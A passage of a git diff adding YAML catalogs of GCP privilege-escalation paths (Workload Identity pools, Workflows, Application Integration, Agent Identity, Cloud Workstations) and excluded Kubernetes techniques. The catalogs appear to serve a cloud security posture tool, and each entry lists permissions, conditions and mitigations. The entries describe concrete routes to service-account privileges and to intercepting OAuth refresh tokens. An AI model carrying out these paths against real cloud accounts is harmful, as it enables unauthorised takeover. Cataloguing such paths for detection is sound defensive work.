+ service: iam + title: Re-enable or undelete a pool or provider that still trusts attacker-controlled credentials + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#poolprovider-update--undelete--restore-a-residual-trust-path + source_revision: 171e422 + summary: The source can restore an exact disabled pool, deleted pool or deleted provider that retains a pool-wide service-account token binding. + requires: + any_of: + - - action: iam.googleapis.com/workloadIdentityPoolProviders.undelete + resource: '*' + - - action: iam.googleapis.com/workloadIdentityPools.update + resource: '*' + - - action: iam.googleapis.com/workloadIdentityPools.undelete + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_wif_restorable_path: true + scope: any + aggregate_as: Service accounts bound to restorable WIF pools or providers + conditions: + - id: residual_trust + description: The exact restored provider must accept credentials controlled by the source, and its pool-wide service-account binding must remain. + - id: retention + description: Deleted pools/providers are restorable for approximately 30 days; provider restore needs an active pool, while pool undelete restores its providers. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Remove IAM bindings of decommissioned pools before deleting them and restrict pool/provider update and undelete. + notes: Also covers pools.update (re-enable) and pools.undelete. Provider re-enable through workloadIdentityPoolProviders.update is modelled by gcp-wif-provider-update. Disabling a provider blocks only new exchanges; disabling a pool also blocks use of issued tokens. +- id: gcp-wif-workforce-provider-control + provider: gcp + service: iam + title: Create, change or restore a workforce pool provider to admit an attacker-controlled external user + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workforce-provider-control-and-trust-restoration--hijack-an-authorized-pool + source_revision: 171e422 + summary: The source can control an exact workforce pool or provider whose pool-wide principalSet can impersonate a service account in the same organization. + requires: + any_of: + - - action: iam.googleapis.com/workforcePoolProviders.create + resource: '*' + - - action: iam.googleapis.com/workforcePoolProviders.update + resource: '*' + - - action: iam.googleapis.com/workforcePoolProviders.undelete + resource: '*' + - - action: iam.googleapis.com/workforcePools.update + resource: '*' + - - action: iam.googleapis.com/workforcePools.undelete + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_workforce_control_path: true + scope: any + aggregate_as: Service accounts bound to controllable workforce pools + conditions: + - id: matching_binding + description: An existing all-identities workforce principalSet binding must grant token access to the named service account; the provider must admit credentials controlled by the source. + - id: residual_trust + description: Pool/provider restore only helps while attacker-usable trust and a matching binding remain, within the recovery window. + - id: programmatic_only_jwks + description: A locally uploaded OIDC JWKS works only for programmatic STS exchange, not federated console sign-in. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict workforce pool/provider administration (roles/iam.workforcePoolAdmin, roles/iam.workforcePoolEditor) at the organization and avoid pool-wide bindings. + references: + - https://cloud.google.com/iam/docs/manage-workforce-identity-pools-providers + - https://cloud.google.com/iam/docs/workforce-identity-federation + notes: Workforce pools are organization-scoped and their principals often receive roles directly; those direct grants need a separate federated-principal target. This rule joins only pool-wide token grants to inventoried service accounts in the same organization. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/workflows.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/workflows.yaml new file mode 100644 index 0000000000..ba27063c2d --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/workflows.yaml @@ -0,0 +1,171 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Workflows privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-workflows-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Workflow connector/OAuth steps act as the attached SA (no raw token extraction). actAs is checked at deploy/create/update, +# not at execute. Workflows has no resource-level IAM. +- id: gcp-workflows-create-actas-execute + provider: gcp + service: workflows + title: Deploy and execute a workflow running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsworkflowscreate--iamserviceaccountsactas--workflowsexecutionscreate--deploy-code-under-a-service-account + source_revision: 171e422 + summary: The source can run workflow connector and OAuth steps against Google APIs as a service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: workflows.workflows.create + resource: "*" + - action: workflows.executions.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as workflow identity in {project}" + conditions: + - id: api_level + description: The SA is usable only through connector and OAuth steps to Google APIs (no metadata token); that covers all of its IAM permissions. + - id: cross_project_sa + description: Cross-project service-account attachment has separate policy and service-agent requirements, modelled by gcp-workflows-create-cross-project-actas. + - id: default_sa + description: Omitting serviceAccount attaches the project's Compute Engine default SA, which still requires actAs on that SA (no bypass). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs; roles/workflows.admin/editor do not include actAs. + references: + - https://cloud.google.com/workflows/docs/authentication + +- id: gcp-workflows-update-actas + provider: gcp + service: workflows + title: Update an existing workflow's definition and service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsworkflowsupdate--replace-code-while-retaining-the-attached-identity + source_revision: 171e422 + summary: The source can update an existing workflow to run connector and OAuth steps against Google APIs as a service account on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: workflows.workflows.update + resource: "*" + - action: workflows.executions.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_workflows_update_attach_path: true + scope: same_project + aggregate_as: "Service accounts attachable to existing workflows in {project}" + conditions: + - id: existing_workflow + description: Needs an existing workflow; explicitly changing the stored serviceAccount is a new attachment and requires actAs on the replacement SA. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict workflows.workflows.update and actAs grants. +- id: gcp-workflows-update-source-retain-sa + provider: gcp + service: workflows + title: Replace a workflow's source while keeping its attached service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsworkflowsupdate--replace-code-while-retaining-the-attached-identity + source_revision: 171e422 + summary: The source can replace an existing workflow's source and run connector and OAuth steps against Google APIs as its attached service account. + requires: + all_of: + - action: workflows.workflows.update + resource: '{target.host_resource}' + - action: workflows.executions.create + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: workflows_workflow + gcp_workflows_update_execute_same_workflow: true + scope: any + aggregate_as: SAs attached to workflows whose source the source can replace + conditions: + - id: source_only_update + description: Only a source-only update keeps the identity; changing or restating the SA requires actAs. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Treat workflows.workflows.update on a workflow as equivalent to use of its SA; restrict roles/workflows.editor/admin. + notes: The retained SA can belong to another project when the workflow was configured for cross-project execution (scope any). +- id: gcp-workflows-update-source-await-execution + provider: gcp + service: workflows + title: Replace a workflow's source and let an existing trigger execute it as its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsworkflowsupdate--replace-code-while-retaining-the-attached-identity + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service account attached to every workflow on which it holds workflows.workflows.update, when another principal or trigger starts the replaced revision. + requires: + all_of: + - action: workflows.workflows.update + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: workflows_workflow + gcp_workflows_observed_external_execution: true + scope: any + aggregate_as: SAs attached to triggered workflows whose source the source can replace + conditions: + - id: external_execution + description: A recorded enabled Scheduler job, its OAuth service account with permission to invoke this workflow, and the Scheduler service agent role support the path. Other possible triggers remain unresolved; already-running executions keep the old revision. + - id: source_only_update + description: Only a source-only update keeps the identity; changing or restating the SA requires actAs. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Treat workflows.workflows.update as equivalent to use of the workflow SA; restrict roles/workflows.editor/admin. + notes: HackTricks states that if another principal starts the new revision the attacker needs only the update permission. +- id: gcp-workflows-create-cross-project-actas + provider: gcp + service: workflows + title: Deploy and execute a workflow with a cross-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsworkflowscreate--iamserviceaccountsactas--workflowsexecutionscreate--deploy-code-under-a-service-account + source_revision: 171e422 + summary: The source may run workflow connector and OAuth steps as a service account from another project when its project allows cross-project attachment and the Workflows service agent can mint its tokens. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: workflows.workflows.create + resource: "*" + - action: workflows.executions.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cross_project_workflows: true + scope: any + aggregate_as: "Service accounts usable by workflows in another project" + conditions: + - id: cross_project_service_agent + description: The workflow project's Workflows service agent needs Service Account Token Creator on the target service account. + - id: cross_project_org_policy + description: The target service account project's effective iam.disableCrossProjectServiceAccountUsage policy must be unenforced. + - id: api_level + description: The workflow can make selected OAuth-authenticated Google API calls as the service account; it does not return a raw account token to the source. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Keep cross-project attachment and service-agent token grants limited to intended workflow projects and service accounts. + references: + - https://cloud.google.com/workflows/docs/authentication diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/workspace.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/workspace.yaml new file mode 100644 index 0000000000..2a0c3f6837 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/workspace.yaml @@ -0,0 +1,110 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP to Google Workspace pivots and Application Integration / Agent Identity identity edges. +# Source: hacktricks-cloud gcp-to-workspace-pivoting/*.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. New attached_to_service values (Workspace facts, +# not collected; see SCHEMA_EXTENSIONS.md ## GCP): workspace_dwd_delegation, workspace_super_admin_of_zone_domain, +# workspace_addon_user, agentidentity_authorized_user. pivot_resource_type values: gcp_dwd_service_account (SA whose client ID +# has a Workspace DWD grant), dns_managed_zone, agentidentity_auth_provider. + +- provider: gcp + source_revision: 4e9b5eaaa6 + id: gcp-appintegration-runas-sa-actas + service: integrations + title: Publish an Application Integration version with a chosen run-as service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-application-integration-privesc.md#runasserviceaccount--author--publish-an-integration-that-runs-as-an-arbitrary-sa + summary: The source can test a caller-supplied integration draft or author and publish an integration that runs an authenticated task as a service account it may act as. + requires: + all_of: + - any_of: + - - action: integrations.integrationVersions.create + resource: '*' + - - action: integrations.integrations.invoke + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_appintegration_run_as_path: true + scope: same_project + aggregate_as: Service accounts usable as Application Integration run-as SA in {project} + conditions: + - id: task_level + description: An authored Connector, REST caller or Cloud Function task can use a token from the chosen run-as account when no auth config overrides it. + - id: invocation + description: Draft testing needs invoke on the same integration; publishing and direct execution also need create and deploy on that integration and invoke on it. Scheduled or event-triggered execution without caller invoke remains unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated integration SAs; roles/editor and roles/owner contain both halves. + references: + - https://docs.cloud.google.com/application-integration/docs/reference/rest/v1/projects.locations.integrations/test + - https://docs.cloud.google.com/application-integration/docs/reference/rest/v1/projects.locations.integrations.versions/publish + - https://docs.cloud.google.com/application-integration/docs/prepare-for-authorization-changes + notes: The tested draft and published version paths require a collected enabled service and an observed integration in the same project and region. Other regions, new integration creation, and unattended trigger execution remain unresolved if not evidenced. +- provider: gcp + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb + id: gcp-agentidentity-retrieve-credentials + service: agentidentity + title: Retrieve an authorized Google OAuth credential from Agent Identity + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-identity-auth-manager-privesc.md#agentidentityauthprovidersretrievecredentials + summary: The source may use the existing Google OAuth authorization for an exact client user ID, limited to that authorization's active scopes. + requires: + all_of: + - action: agentidentity.authProviders.retrieveCredentials + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_agentidentity_retrieve_path: true + scope: any + outcome: bounded_authority + aggregate_as: Active Google OAuth authorizations available through Agent Identity + conditions: + - id: exact_active_authorization + description: Requires an enabled Google 3-legged OAuth provider and an active per-user authorization with a known exact client user ID and useful granted Google API scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Treat roles/agentidentity.user and custom roles with retrieveCredentials as credential-vault access. + references: + - https://docs.cloud.google.com/iam/docs/reference/agentidentity/rest/v1/projects.locations.authProviders.authorizations/list + - https://docs.cloud.google.com/iam/docs/reference/agentidentitycredentials/rest/v1/projects.locations.authProviders.credentials/retrieve + notes: The client user ID is supplied by the client application and is not independently verified as a Workspace identity. The path grants only the scopes on the existing authorization and remains conditional until credential retrieval succeeds. +- provider: gcp + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb + id: gcp-agentidentity-update-token-url + service: agentidentity + title: Change an Agent Identity auth provider's token endpoint to intercept future refreshes + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-identity-auth-manager-privesc.md#agentidentityauthprovidersupdate-token-endpoint-interception + summary: The source could redirect an enabled Google OAuth provider's token endpoint and obtain a stored refresh token on a later refresh for an active authorization. + requires: + all_of: + - action: agentidentity.authProviders.update + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_agentidentity_update_path: true + scope: any + outcome: bounded_authority + aggregate_as: Active Google OAuth authorizations exposed by a changed token endpoint + conditions: + - id: exact_active_authorization + description: Requires an enabled Google 3-legged OAuth provider and an active per-user authorization with useful granted Google API scopes. + - id: later_refresh + description: A legitimate caller must refresh a stored authorization after the endpoint change; authorization metadata does not reveal whether a refresh token exists or is still valid. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict authProviders.update (roles/agentidentity.editor) and alert on authorization/token URL changes. + references: + - https://docs.cloud.google.com/iam/docs/reference/agentidentity/rest/v1/projects.locations.authProviders/patch + - https://docs.cloud.google.com/iam/docs/reference/agentidentity/rest/v1/projects.locations.authProviders.authorizations/list + notes: The client user ID is a lookup key, not proof of the consenting account's identity. The path remains conditional on a successful provider update and a later refresh sent to the changed endpoint. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/workstations.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/workstations.yaml new file mode 100644 index 0000000000..4c7712530c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/workstations.yaml @@ -0,0 +1,146 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Workstations privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloud-workstations-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: workstations_config -> SA pinned in an existing workstation config (host.gceInstance.serviceAccount); +# workstations_workstation -> SA of the config an existing workstation was created from. + +- id: gcp-workstations-config-create-actas + provider: gcp + service: workstations + title: Create a workstation config pinning a chosen service account and start a workstation from it + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#workstationsworkstationconfigscreate--actas--pin-an-arbitrary-sa-and-steal-its-token + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: workstations.workstationConfigs.create + resource: "*" + - action: workstations.workstations.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_workstations_create_config_path: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Workstations SA in {project}" + conditions: + - id: session_access + description: The creator receives roles/workstations.user on a new workstation; a custom image or startup script can also run code without a session. + - id: cluster + description: A workstation cluster must exist or be creatable (workstations.workstationClusters.create). + - id: access_scopes + description: The default token may carry only limited scopes; full power needs the config to request cloud-platform scopes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated workstation SAs; restrict workstations.workstationConfigs.create/update (roles/workstations.admin, roles/workstations.editor, roles/editor). + references: + - https://cloud.google.com/workstations/docs/access-control + notes: Omitting the SA uses a service-managed workstation VM identity, so there is no no-actAs path. +- id: gcp-workstations-config-update-code + provider: gcp + service: workstations + title: Update an existing workstation config's image or startup script to run code as its SA + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#code-exec-as-sa-via---container-custom-image----startup-script-uri-no-breakout-needed + source_revision: 171e422 + summary: The source can obtain the privileges of the service accounts pinned in workstation configs on which it holds workstations.workstationConfigs.update and iam.serviceAccounts.actAs on the pinned SA. + requires: + all_of: + - action: workstations.workstationConfigs.update + resource: '{target.host_resource}' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + attached_to_service: workstations_config + gcp_actas_granted_on_target: true + scope: same_project + aggregate_as: SAs pinned in updatable Cloud Workstations configs + conditions: + - id: workstation_boot + description: The payload runs when a workstation from the config next boots (started by its users or by the source with workstations.create/start). + - id: image_access + description: A custom image must be pullable by the pinned SA. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict workstations.workstationConfigs.update and monitor config changes to image and startup script fields. + notes: HackTricks @171e422 lists workstationConfigs.create/.update plus actAs on the pinned SA as the minimum permissions for the custom-image / startup-script code-execution path. +- id: gcp-workstations-use-existing-workstation + provider: gcp + service: workstations + title: Connect to an existing workstation (directly or after an IAM self-grant) and use its SA + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#workstationsworkstationconfigscreate--actas--pin-an-arbitrary-sa-and-steal-its-token + source_revision: 171e422 + summary: The source can obtain the privileges of the service accounts of existing workstations it can use or whose IAM policy it controls. + requires: + any_of: + - - action: workstations.workstations.use + resource: '{target.host_resource}' + - - action: workstations.workstations.setIamPolicy + resource: '{target.host_resource}' + - - action: workstations.workstationConfigs.setIamPolicy + resource: '{target.workstation_config}' + target: + kind: gcp_service_account + selector: + attached_to_service: workstations_workstation + gcp_workstations_use_existing_path: true + scope: same_project + aggregate_as: SAs of Cloud Workstations the source can connect to + conditions: + - id: scoped_config_actas + description: If the config sets service-account scopes, users also need actAs on the SA at launch/use time. + - id: stopped_workstation + description: A stopped workstation also needs workstations.workstations.start; an already running one needs only use. + - id: other_user_session + description: Using another developer's workstation also exposes that user's session data; IAM on workstations is granted per workstation or config. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Grant roles/workstations.user per workstation only to its owner and restrict workstations.*.setIamPolicy (roles/workstations.policyAdmin, roles/workstations.admin, roles/owner). + notes: Connection tokens from generateAccessToken cannot be revoked and last up to 24h. +- id: gcp-workstations-create-from-existing-config + provider: gcp + service: workstations + title: Launch a new workstation from an existing service-account-pinned config + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#workstationsworkstationconfigscreate--actas--pin-an-arbitrary-sa-and-steal-its-token + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service accounts pinned in existing Cloud Workstations configs on which it can create workstations, because the new workstation it owns runs as the config's SA. + requires: + all_of: + - action: workstations.workstations.create + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: workstations_config + gcp_workstations_create_from_config_path: true + scope: same_project + aggregate_as: SAs pinned in Cloud Workstations configs the source can launch from + conditions: + - id: session_access + description: The creator receives roles/workstations.user on the new workstation and can start and use it; roles/workstations.workstationLimitExemptedCreator alone has no create grant. + - id: scoped_config_actas + description: If the config sets service-account scopes, users also need actAs on the SA at launch/use time. + - id: access_scopes + description: The usable token is limited by the config's service-account scopes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Grant roles/workstations.workstationCreator only on configs whose SA is low privilege and keep privileged SAs out of shared workstation configs. + references: + - https://cloud.google.com/workstations/docs/access-control + notes: HackTricks @6fb9ac51fd states roles/workstations.workstationCreator can launch workstations only from existing configs, so its power depends on the SA those configs already carry. Creating the config with a chosen SA is gcp-workstations-config-create-actas. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded.yaml new file mode 100644 index 0000000000..330813ec23 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded.yaml @@ -0,0 +1,723 @@ +# Kubernetes / OpenShift HackTricks techniques reviewed and intentionally NOT modelled as +# principal -> principal privilege-escalation edges. Source rev a53b46392c, re-verified against 171e422 (see docs/privesc-ledgers/privesc-k8s.md); +# adversarial re-audit at a66f094ede (NEEDS SCHEMA rows reference privesc-schema-proposals-k8s.md). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/access-and-common-concepts.md#access-any-resource-with-a-specific-verb + technique: Single verb on all resources (e.g. get * or create *) + reason: Not a distinct permission set; the evaluator's wildcard expansion matches the specific entries (secrets read, pods create, serviceaccounts/token create...). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/access-and-common-concepts.md#pod-security-mode-effects + technique: Stealthy pod naming/placement + reason: Evasion advice; same permissions as pods create. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#podsportforward-network-access + technique: pods/portforward + reason: Network access to a pod listener; no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-interactive-subresources + technique: pods/proxy and services/proxy + reason: HTTP proxying to backends (network pivot); no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#host-log-symlink-file-reads + technique: Writable /var/log hostPath symlink escape via kubelet logs + reason: Creating such a pod is subsumed by k8s-nodes-privileged-pod-create (any hostPath is PSA-baseline-blocked); for existing pods the kubelet log-symlink read is kubelet-version dependent and yields a host file read, so writable /var/log is deliberately not counted by k8s_node_hosting_host_mount_pod_in_namespace. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/storage-and-networking.md#bypassing-hostpath-readonly-protection + technique: Bypassing hostPath readOnly + reason: Refinement of hostPath pod creation (same permissions, same target, PSA blocker identical). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/secrets-and-configmaps.md#legacy-token-secret-name-guessing + technique: Brute-forcing legacy token Secret names with get + reason: Covered by k8s-rbac-secrets-read-legacy-sa-token (get_requires_secret_name condition). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#encryption-configuration-found-on-a-control-plane-node + technique: EncryptionConfiguration keys on control-plane hosts + reason: Data read from a host already compromised; no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/controller-data-and-network-effects.md#coredns-config-map + technique: CoreDNS ConfigMap modification + reason: DNS traffic redirection (network attack); no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#escalating-in-gke + technique: GKE RoleBinding self-grant without exact authenticated subject and permission proof + reason: The narrow get-pods self-grant is active only with a unique reviewed source, accepted binding and before/after permission proof. A RoleBinding write or GCP IAM container.* grant alone cannot prove the source controls the bound subject or gained Kubernetes permission. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#validatingwebhookconfigurations-or-mutatingwebhookconfigurations + technique: ValidatingWebhookConfiguration create + reason: A new validating webhook can only admit/deny and observe objects (data disclosure); identity gain is through mutating webhooks (k8s-workloads-mutating-webhook-injection) and weakening existing configurations is k8s-admission-webhook-configuration-weaken. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/controller-data-and-network-effects.md#services-status-cve-2020-8554 + technique: services/status LoadBalancer IP spoofing (CVE-2020-8554) + reason: Traffic interception (MiTM); no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodes-and-pods-status + technique: pods/status and nodes/status readiness/IP/label spoofing (traffic paths) + reason: "Readiness/IP/label spoofing for Services, EndpointSlices and NetworkPolicy is traffic manipulation without a new identity. Identity-bearing combinations are modelled: node attraction of pending pods (nodes/status labels or capacity, pods/status nominatedNodeName) in k8s-nodes-attract-pending-pod-to-controlled-node, replacement via pods/status in k8s-nodes-replacement-pod-to-controlled-node, pods/binding and bindings create in k8s-nodes-pods-binding-pending-pod-to-controlled-node." +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/controller-data-and-network-effects.md#legacy-status-metadata-and-controller-deputies + technique: Legacy status metadata writes and controller deputies (ownerReferences GC, quota, PDB, Job/CronJob status) + reason: Deletion, availability and policy-scope effects; namespaces/status label change is modelled in k8s-nodes-namespace-psa-relabel; the rest grant no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#policy-and-scheduling-control-objects + technique: NetworkPolicy writes, ClusterTrustBundle writes + reason: NetworkPolicy writes reopen traffic and ClusterTrustBundle writes change TLS trust for opted-in pods; neither yields an identity. Node label scheduling is modelled in k8s-nodes-attract-pending-pod-to-controlled-node; Kyverno/Gatekeeper object writes are modelled in k8s-admission-kyverno-policy-weaken and k8s-admission-gatekeeper-constraint-weaken. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/rbac-objects.md#diagnostic-non-resource-urls + technique: /debug/* and /metrics non-resource URLs + reason: Diagnostic data disclosure. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/access-and-common-concepts.md#create-or-patch-rolebindingsclusterrolebindings + technique: RoleBinding/ClusterRoleBinding writes without bind + reason: Escalation prevention only allows binding roles whose permissions the caller already holds (delegation/persistence, not escalation). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/access-and-common-concepts.md#built-in-privileged-escalation-prevention + technique: Role/ClusterRole creation without escalate + reason: Kubernetes rejects roles containing permissions the creator lacks; no escalation. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#sidecar-template-changes + technique: Sidecar proxy app + reason: Uses pods/controller create or modify already modelled in workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#malicious-admission-controller + technique: Malicious mutating admission controller deployment + reason: Same permissions as k8s-workloads-mutating-webhook-injection (duplicate). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#opa-gatekeeper-bypass + technique: OPA Gatekeeper bypass + reason: Pointer to the Gatekeeper pages; constraint/template/config writes are k8s-admission-gatekeeper-constraint-weaken, webhook configuration writes k8s-admission-webhook-configuration-weaken, excluded-namespace creation k8s-admission-policy-engine-excluded-namespace. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#authorizer-match-condition-grants + technique: Custom verbs used by authorizer match conditions + reason: "NEEDS SCHEMA: privesc-schema-proposals-k8s.md#p2-admission-matchcondition-authorizer-placeholders (the required custom verb/group/resource/name come from live matchConditions CEL, so a static requirement cannot name them; blocker removal for admission_policy/admission_webhook)." +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#validatingadmissionpolicy-parameter-object-writes + technique: ValidatingAdmissionPolicy parameter object writes + reason: "NEEDS SCHEMA: privesc-schema-proposals-k8s.md#p3-vap-param-placeholders (the parameter object's resource, name and namespace come from the enforcing binding's paramRef and the policy's paramKind; resource_match any would be over-broad)." +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kyverno-bypass.md#abusing-policies-misconfiguration + technique: Kyverno policy misconfiguration / exclusions + reason: Exempt-subject bypass only decides whether the kyverno_policy blocker applies to a source; that blocker is never 'blocked' (policies are not collected, only possibly_blocked), so no reach is lost. Kyverno policy and PolicyException writes are k8s-admission-kyverno-policy-weaken. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/opa-gatekeeper-bypass.md#abusing-misconfiguration + technique: Gatekeeper excluded namespaces + reason: Excluded-namespace use only decides whether the gatekeeper_constraint blocker applies; that blocker is never 'blocked' (constraints are not collected), so no reach is lost. Creating an excluded namespace is k8s-admission-policy-engine-excluded-namespace; constraint/config writes are k8s-admission-gatekeeper-constraint-weaken. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#kubernetes-traffic-object-writes + technique: Service/Endpoints/EndpointSlice/ExternalName redirection, pod-label hijack, create-only name squatting + reason: Traffic redirection; no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#ingress-creation-and-route-replacement + technique: Ingress and Gateway API HTTPRoute exposure/replacement/mirroring + reason: Traffic exposure/interception; captured credentials are not derivable. +- source: 